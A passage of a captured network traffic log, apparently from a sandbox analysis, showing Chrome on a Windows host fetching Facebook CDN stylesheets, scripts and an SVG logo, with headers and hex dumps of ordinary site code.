2024-01-17 23:34:54 UTC	16384	IN	Data Raw: 78 3b 63 75 72 73 6f 72 3a 70 6f 69 6e 74 65 72 3b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 64 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 38 70 78 3b 70 61 64 64 69 6e 67 3a 32 70 78 20 36 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 74 65 78 74 2d 73 68 61 64 6f 77 3a 6e 6f 6e 65 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 74 6f 70 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 7d 2e 75 69 42 75 74 74 6f 6e 2c 2e 75 69 42 75 74 74 6f 6e 53 75 70 70 Data Ascii: x;cursor:pointer;display:inline-block;font-size:12px;-webkit-font-smoothing:antialiased;font-weight:bold;line-height:18px;padding:2px 6px;text-align:center;text-decoration:none;text-shadow:none;vertical-align:top;white-space:nowrap}.uiButton,.uiButtonSupp
2024-01-17 23:34:54 UTC	1691	IN	Data Raw: 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 34 70 78 7d 2e 5f 32 70 68 62 7b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 33 32 70 78 7d 2e 5f 61 75 2d 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 5f 32 70 69 6d 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 34 70 78 7d 2e 5f 32 70 69 6e 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 38 70 78 7d 2e 5f 32 70 69 6f 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 32 70 78 7d 2e 5f 32 70 69 70 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 31 36 70 78 7d 2e 5f 32 70 69 71 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 7d 2e 5f 32 6f 31 70 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 32 34 70 78 7d 2e 5f 34 67 61 6f 7b 70 61 64 64 69 6e 67 2d 62 6f 74 74 6f 6d 3a 33 32 70 78 7d 2e 5f Data Ascii: dding-right:24px}._2phb{padding-right:32px}._au-{padding-bottom:0}._2pim{padding-bottom:4px}._2pin{padding-bottom:8px}._2pio{padding-bottom:12px}._2pip{padding-bottom:16px}._2piq{padding-bottom:20px}._2o1p{padding-bottom:24px}._4gao{padding-bottom:32px}._

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.6	49805	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:54 UTC	622	OUT	GET /rsrc.php/v3/yJ/l/0,cross/jLYph3aQmdp.css?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: style Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:54 UTC	1213	IN	HTTP/1.1 200 OK Content-Type: text/css; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: 6a36HEyxSRluaS6nFuQuww== Expires: Thu, 16 Jan 2025 18:30:52 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: Nf2JACh+aHdXDONfIxEM/IxyJY8E8Lugi6mjprfYFCBdSnQxcqrl9L4VUrchFPV5DausoTIJXy/8KWe25j4Ekg== Date: Wed, 17 Jan 2024 23:34:54 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 2213
2024-01-17 23:34:54 UTC	1	IN	Data Raw: 2e Data Ascii: .
2024-01-17 23:34:54 UTC	2212	IN	Data Raw: 66 69 78 65 64 5f 65 6c 65 6d 2c 2e 66 69 78 65 64 5f 61 6c 77 61 79 73 7b 70 6f 73 69 74 69 6f 6e 3a 66 69 78 65 64 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 74 69 6e 79 48 65 69 67 68 74 20 2e 66 69 78 65 64 5f 65 6c 65 6d 7b 70 6f 73 69 74 69 6f 6e 3a 73 74 61 74 69 63 21 69 6d 70 6f 72 74 61 6e 74 7d 2e 63 68 72 6f 6d 65 20 2e 66 69 78 65 64 5f 65 6c 65 6d 2c 2e 63 68 72 6f 6d 65 20 2e 66 69 78 65 64 5f 61 6c 77 61 79 73 7b 74 72 61 6e 73 66 6f 72 6d 3a 74 72 61 6e 73 6c 61 74 65 5a 28 30 29 7d 2e 74 69 6e 79 48 65 69 67 68 74 20 2e 63 68 72 6f 6d 65 20 2e 66 69 78 65 64 5f 65 6c 65 6d 7b 74 72 61 6e 73 66 6f 72 6d 3a 6e 6f 6e 65 7d 0a 2e 6c 66 6c 6f 61 74 7b 66 6c 6f 61 74 3a 6c 65 66 74 7d 2e 72 66 6c 6f 61 74 7b 66 6c 6f 61 74 3a 72 69 67 68 74 7d 0a 2e Data Ascii: fixed_elem,.fixed_always{position:fixed!important}.tinyHeight .fixed_elem{position:static!important}.chrome .fixed_elem,.chrome .fixed_always{transform:translateZ(0)}.tinyHeight .chrome .fixed_elem{transform:none}.lfloat{float:left}.rfloat{float:right}.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.6	49808	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:54 UTC	599	OUT	GET /rsrc.php/v3/yy/r/E23g9b-s4oe.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:54 UTC	1231	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: 8I8nGPRn2h71vfSj6I3Bhw== Expires: Thu, 16 Jan 2025 01:20:39 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: OLRsCu2Yuui4GKvRagSOUA4vAkD3s/rHoPKiplIxNtIPUR7K6Y7RI5SrMfiCxMsd+nWqHykvqeUJnHoBVqu3Sw== Date: Wed, 17 Jan 2024 23:34:54 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 361068
2024-01-17 23:34:54 UTC	1	IN	Data Raw: 3b Data Ascii: ;
2024-01-17 23:34:54 UTC	1500	IN	Data Raw: 2f 2a 46 42 5f 50 4b 47 5f 44 45 4c 49 4d 2a 2f 0a 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 67 6c 6f 62 61 6c 54 68 69 73 7c 7c 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 73 65 6c 66 7c 7c 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 67 6c 6f 62 61 6c 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 41 62 6f 72 74 43 6f 6e 74 72 6f 6c 6c 65 72 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 29 72 65 74 75 72 6e 3b 76 61 72 20 62 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 74 68 69 73 2e 5f 5f 6c 69 73 74 65 6e Data Ascii: /FB_PKG_DELIM/"use strict";(function(){var a=typeof globalThis!=="undefined"&&globalThis\|\|typeof self!=="undefined"&&self\|\|typeof global!=="undefined"&&global;if(typeof a.AbortController!=="undefined")return;var b=function(){function a(){this.__listen
2024-01-17 23:34:54 UTC	14971	IN	Data Raw: 28 61 29 7d 63 61 74 63 68 28 61 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 72 6f 77 20 61 7d 29 7d 66 26 26 66 2e 6f 6e 63 65 26 26 63 5b 22 64 65 6c 65 74 65 22 5d 28 67 29 7d 72 65 74 75 72 6e 21 30 7d 3b 72 65 74 75 72 6e 20 61 7d 28 29 2c 63 3d 7b 7d 3b 61 2e 41 62 6f 72 74 53 69 67 6e 61 6c 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 61 28 61 29 7b 69 66 28 61 21 3d 3d 63 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 49 6c 6c 65 67 61 6c 20 63 6f 6e 73 74 72 75 63 74 6f 72 2e 22 29 3b 62 2e 63 61 6c 6c 28 74 68 69 73 29 3b 74 68 69 73 2e 5f 61 62 6f 72 74 65 64 3d 21 31 7d 61 2e 70 72 6f 74 6f 74 79 70 65 3d 4f 62 6a 65 63 74 2e 63 72 65 61 74 65 28 62 2e 70 72 6f 74 6f 74 79 Data Ascii: (a)}catch(a){setTimeout(function(){throw a})}f&&f.once&&c["delete"](g)}return!0};return a}(),c={};a.AbortSignal=function(){function a(a){if(a!==c)throw new TypeError("Illegal constructor.");b.call(this);this._aborted=!1}a.prototype=Object.create(b.prototy
2024-01-17 23:34:54 UTC	16384	IN	Data Raw: 6c 6c 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 7d 69 66 28 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 3d 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 3a 22 40 40 69 74 65 72 61 74 6f 72 22 29 7b 62 3d 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 21 3d 6e 75 6c 6c 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 7d 7d 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 4f 62 6a 65 63 74 20 69 73 20 6e 6f 74 20 61 73 79 6e 63 20 69 74 65 72 61 62 6c 65 22 29 7d 3b 62 2e 61 73 79 6e 63 47 65 6e 65 72 61 74 6f 72 44 65 6c 65 67 61 74 65 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 76 61 72 20 63 3d 7b 7d 2c 64 3d 21 31 3b 66 75 6e 63 74 69 6f 6e 20 65 28 63 2c 65 29 7b 64 3d 21 Data Ascii: ll)return b.call(a)}if(typeof Symbol==="function"?Symbol.iterator:"@@iterator"){b=a[Symbol.iterator];if(b!=null)return b.call(a)}}throw new TypeError("Object is not async iterable")};b.asyncGeneratorDelegate=function(a,b){var c={},d=!1;function e(c,e){d=!
2024-01-17 23:34:54 UTC	16384	IN	Data Raw: 74 22 2c 22 72 65 6d 6f 76 65 46 72 6f 6d 41 72 72 61 79 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 67 3d 7b 50 52 45 56 49 4f 55 53 5f 46 49 4c 45 3a 31 2c 50 52 45 56 49 4f 55 53 5f 46 52 41 4d 45 3a 32 2c 50 52 45 56 49 4f 55 53 5f 44 49 52 3a 33 2c 46 4f 52 43 45 44 5f 4b 45 59 3a 34 7d 3b 66 75 6e 63 74 69 6f 6e 20 68 28 62 29 7b 76 61 72 20 61 3d 6e 65 77 20 45 72 72 6f 72 28 62 29 3b 69 66 28 61 2e 73 74 61 63 6b 3d 3d 3d 76 6f 69 64 20 30 29 74 72 79 7b 74 68 72 6f 77 20 61 7d 63 61 74 63 68 28 61 29 7b 7d 61 2e 6d 65 73 73 61 67 65 46 6f 72 6d 61 74 3d 62 3b 66 6f 72 28 76 61 72 20 63 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 64 3d 6e 65 77 20 41 72 Data Ascii: t","removeFromArray"],(function(a,b,c,d,e,f){"use strict";var g={PREVIOUS_FILE:1,PREVIOUS_FRAME:2,PREVIOUS_DIR:3,FORCED_KEY:4};function h(b){var a=new Error(b);if(a.stack===void 0)try{throw a}catch(a){}a.messageFormat=b;for(var c=arguments.length,d=new Ar
2024-01-17 23:34:55 UTC	16296	IN	Data Raw: 2e 6c 65 6e 67 74 68 3e 79 61 29 7b 76 61 72 20 73 3d 6c 2e 65 76 65 6e 74 73 2e 6c 65 6e 67 74 68 2d 79 61 3b 6c 2e 65 76 65 6e 74 73 2e 73 70 6c 69 63 65 28 30 2c 73 2b 31 2c 22 3c 66 69 72 73 74 20 22 2b 73 2b 22 20 65 76 65 6e 74 73 20 6f 6d 69 74 74 65 64 3e 22 29 7d 7d 52 2e 72 65 70 6f 72 74 4e 6f 72 6d 61 6c 69 7a 65 64 45 72 72 6f 72 28 6c 29 3b 72 65 74 75 72 6e 20 6b 7d 3b 62 2e 66 61 74 61 6c 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 6f 72 28 76 61 72 20 62 3d 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 2c 63 3d 6e 65 77 20 41 72 72 61 79 28 62 3e 31 3f 62 2d 31 3a 30 29 2c 64 3d 31 3b 64 3c 62 3b 64 2b 2b 29 63 5b 64 2d 31 5d 3d 61 72 67 75 6d 65 6e 74 73 5b 64 5d 3b 74 68 69 73 2e 24 31 2e 61 70 70 6c 79 28 74 68 69 73 2c 5b 22 66 61 74 Data Ascii: .length>ya){var s=l.events.length-ya;l.events.splice(0,s+1,"<first "+s+" events omitted>")}}R.reportNormalizedError(l);return k};b.fatal=function(a){for(var b=arguments.length,c=new Array(b>1?b-1:0),d=1;d<b;d++)c[d-1]=arguments[d];this.$1.apply(this,["fat
2024-01-17 23:34:55 UTC	1500	IN	Data Raw: 2c 62 29 29 7d 66 75 6e 63 74 69 6f 6e 20 71 28 61 2c 62 2c 63 29 7b 6d 2e 69 6e 66 6f 72 6d 28 70 28 61 2c 62 29 2c 63 2c 22 70 65 72 73 69 73 74 65 6e 74 22 29 7d 66 75 6e 63 74 69 6f 6e 20 72 28 61 29 7b 6d 2e 69 6e 66 6f 72 6d 28 6a 2c 61 2c 22 70 65 72 73 69 73 74 65 6e 74 22 29 7d 66 75 6e 63 74 69 6f 6e 20 73 28 61 29 7b 72 65 74 75 72 6e 20 6d 2e 73 75 62 73 63 72 69 62 65 28 68 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 28 63 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 74 28 61 29 7b 72 65 74 75 72 6e 20 6d 2e 73 75 62 73 63 72 69 62 65 28 6a 2c 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 72 65 74 75 72 6e 20 61 28 63 29 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 75 28 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 53 65 74 28 6e 29 7d 66 75 Data Ascii: ,b))}function q(a,b,c){m.inform(p(a,b),c,"persistent")}function r(a){m.inform(j,a,"persistent")}function s(a){return m.subscribe(h,function(b,c){return a(c)})}function t(a){return m.subscribe(j,function(b,c){return a(c)})}function u(){return new Set(n)}fu
2024-01-17 23:34:55 UTC	14972	IN	Data Raw: 73 65 74 46 61 6c 6c 62 61 63 6b 3d 61 3b 64 3d 62 3b 67 5b 22 64 65 66 61 75 6c 74 22 5d 3d 64 7d 29 2c 39 38 29 3b 0a 5f 5f 64 28 22 42 6f 6f 74 6c 6f 61 64 65 72 45 76 65 6e 74 73 4d 61 6e 61 67 65 72 22 2c 5b 22 43 61 6c 6c 62 61 63 6b 44 65 70 65 6e 64 65 6e 63 79 4d 61 6e 61 67 65 72 22 2c 22 70 65 72 66 6f 72 6d 61 6e 63 65 41 62 73 6f 6c 75 74 65 4e 6f 77 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 76 61 72 20 67 3b 61 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 61 28 29 7b 74 68 69 73 2e 24 31 3d 6e 65 77 28 62 28 22 43 61 6c 6c 62 61 63 6b 44 65 70 65 6e 64 65 6e 63 79 4d 61 6e 61 67 65 72 22 29 29 28 29 2c 74 68 69 73 2e 24 32 3d 6e 65 77 20 4d 61 70 28 Data Ascii: setFallback=a;d=b;g["default"]=d}),98);__d("BootloaderEventsManager",["CallbackDependencyManager","performanceAbsoluteNow"],(function(a,b,c,d,e,f){var g;a=function(){"use strict";function a(){this.$1=new(b("CallbackDependencyManager"))(),this.$2=new Map(
2024-01-17 23:34:55 UTC	16384	IN	Data Raw: 2c 5b 22 45 6e 76 22 2c 22 63 72 3a 37 39 33 36 22 5d 2c 28 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 2c 64 2c 65 2c 66 29 7b 76 61 72 20 67 3b 66 75 6e 63 74 69 6f 6e 20 68 28 63 29 7b 21 28 67 7c 7c 28 67 3d 62 28 22 45 6e 76 22 29 29 29 2e 69 73 43 51 75 69 63 6b 3f 61 2e 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 63 29 3a 62 28 22 63 72 3a 37 39 33 36 22 29 2e 73 65 6e 64 4d 65 73 73 61 67 65 28 7b 63 6f 6d 70 61 74 41 63 74 69 6f 6e 3a 22 72 65 6c 6f 61 64 22 7d 29 7d 66 75 6e 63 74 69 6f 6e 20 63 28 62 29 7b 61 2e 73 65 74 54 69 6d 65 6f 75 74 28 68 2c 62 29 7d 66 2e 6e 6f 77 3d 68 3b 66 2e 64 65 6c 61 79 3d 63 7d 29 2c 36 36 29 3b 0a 5f 5f 64 28 22 50 48 50 53 74 72 69 63 74 51 75 65 72 79 53 65 72 69 61 6c 69 7a 65 72 22 Data Ascii: ,["Env","cr:7936"],(function(a,b,c,d,e,f){var g;function h(c){!(g\|\|(g=b("Env"))).isCQuick?a.window.location.reload(c):b("cr:7936").sendMessage({compatAction:"reload"})}function c(b){a.setTimeout(h,b)}f.now=h;f.delay=c}),66);__d("PHPStrictQuerySerializer"
2024-01-17 23:34:55 UTC	16384	IN	Data Raw: 68 69 73 2c 61 2c 67 2c 62 2c 65 29 7c 7c 74 68 69 73 7d 76 61 72 20 67 3d 65 2e 70 72 6f 74 6f 74 79 70 65 3b 67 2e 73 65 74 50 61 74 68 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 70 61 74 68 3d 61 3b 72 65 74 75 72 6e 20 66 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 50 61 74 68 2e 63 61 6c 6c 28 74 68 69 73 2c 61 29 7d 3b 67 2e 67 65 74 50 61 74 68 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 61 3d 66 2e 70 72 6f 74 6f 74 79 70 65 2e 67 65 74 50 61 74 68 2e 63 61 6c 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 61 3f 61 2e 72 65 70 6c 61 63 65 28 2f 5e 5c 2f 2b 2f 2c 22 2f 22 29 3a 61 7d 3b 67 2e 73 65 74 50 72 6f 74 6f 63 6f 6c 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 70 72 6f 74 6f 63 6f 6c 3d 61 3b 72 65 74 75 72 6e 20 66 2e Data Ascii: his,a,g,b,e)\|\|this}var g=e.prototype;g.setPath=function(a){this.path=a;return f.prototype.setPath.call(this,a)};g.getPath=function(){var a=f.prototype.getPath.call(this);return a?a.replace(/^\/+/,"/"):a};g.setProtocol=function(a){this.protocol=a;return f.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49807	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:54 UTC	608	OUT	GET /rsrc.php/y1/r/4lCu2zih0ca.svg HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:54 UTC	1189	IN	HTTP/1.1 200 OK Vary: Accept-Encoding Content-Type: image/svg+xml Access-Control-Allow-Origin: * Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: 7NlAIdLIU8O43rggO6FzAA== Expires: Fri, 10 Jan 2025 07:32:21 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: G7pr1BcWrSTXBqFRkL/Iu/J0yx1j9tZjkpJpMrcrpKXSd4dKl49Vc5Xim1+fiHwOPVTClxY+LHj01s9buuB6kQ== Date: Wed, 17 Jan 2024 23:34:54 GMT Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 2549
2024-01-17 23:34:54 UTC	1	IN	Data Raw: 3c Data Ascii: <
2024-01-17 23:34:54 UTC	2548	IN	Data Raw: 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 39 30 22 20 68 65 69 67 68 74 3d 22 33 36 30 22 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 39 30 20 33 36 30 22 3e 0a 20 20 3c 70 61 74 68 20 66 69 6c 6c 3d 22 23 30 38 36 36 46 46 22 20 64 3d 22 4d 38 38 31 2e 35 38 33 20 32 35 37 2e 38 39 37 68 32 39 2e 34 38 76 2d 34 37 2e 36 39 36 6c 34 31 2e 31 33 37 20 34 37 2e 36 39 36 68 33 36 2e 30 37 32 6c 2d 34 37 2e 38 39 2d 35 34 2e 39 36 39 20 34 30 2e 39 30 39 2d 34 37 2e 36 36 33 68 2d 33 32 2e 38 32 35 6c 2d 33 37 2e 34 30 33 20 34 33 2e 39 33 76 2d 39 36 2e 39 38 32 6c 2d 32 39 2e 34 38 20 33 2e 38 36 34 76 31 35 31 2e 38 Data Ascii: svg xmlns="http://www.w3.org/2000/svg" width="1090" height="360" fill="none" viewBox="0 0 1090 360"> <path fill="#0866FF" d="M881.583 257.897h29.48v-47.696l41.137 47.696h36.072l-47.89-54.969 40.909-47.663h-32.825l-37.403 43.93v-96.982l-29.48 3.864v151.8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.6	49806	157.240.241.1	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:34:54 UTC	599	OUT	GET /rsrc.php/v3/yE/r/xGzxHIbkRpC.js?_nc_x=Ij3Wp8lg5Kz HTTP/1.1 Host: static.xx.fbcdn.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: https://www.facebook.com sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://www.facebook.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:34:54 UTC	1245	IN	HTTP/1.1 200 OK Content-Type: application/x-javascript; charset=utf-8 Last-Modified: Mon, 01 Jan 2001 08:00:00 GMT content-md5: 76HkjVblMPqTzwDS86BhhQ== Expires: Tue, 14 Jan 2025 03:48:32 GMT Cache-Control: public,max-age=31536000,immutable timing-allow-origin: * document-policy: force-load-at-top permissions-policy-report-only: autoplay=(), clipboard-read=(), clipboard-write=(), display-capture=(), encrypted-media=(), fullscreen=(), picture-in-picture=(), xr-spatial-tracking=() permissions-policy: accelerometer=(), ambient-light-sensor=(), bluetooth=(), camera=(), fullscreen=(), gamepad=(), geolocation=(), gyroscope=(), hid=(), idle-detection=(), keyboard-map=(), local-fonts=(), magnetometer=(), microphone=(), midi=(), otp-credentials=(), payment=(), publickey-credentials-get=(), screen-wake-lock=(), serial=(), usb=(), window-management=() cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff reporting-endpoints: X-FB-Debug: FItXsruvVrh78DkV+lBbEWLO8tIqLdAolEokTaOQ/v+pNVb1QcNb19FyY8lP1dbkxMACF/LsVRaeBknSxZ3ttA== Date: Wed, 17 Jan 2024 23:34:54 GMT Access-Control-Allow-Origin: https://www.facebook.com Vary: Origin Alt-Svc: h3=":443"; ma=86400 Connection: close Content-Length: 55731
2024-01-17 23:34:54 UTC	1	IN	Data Raw: 3b Data Ascii: ;
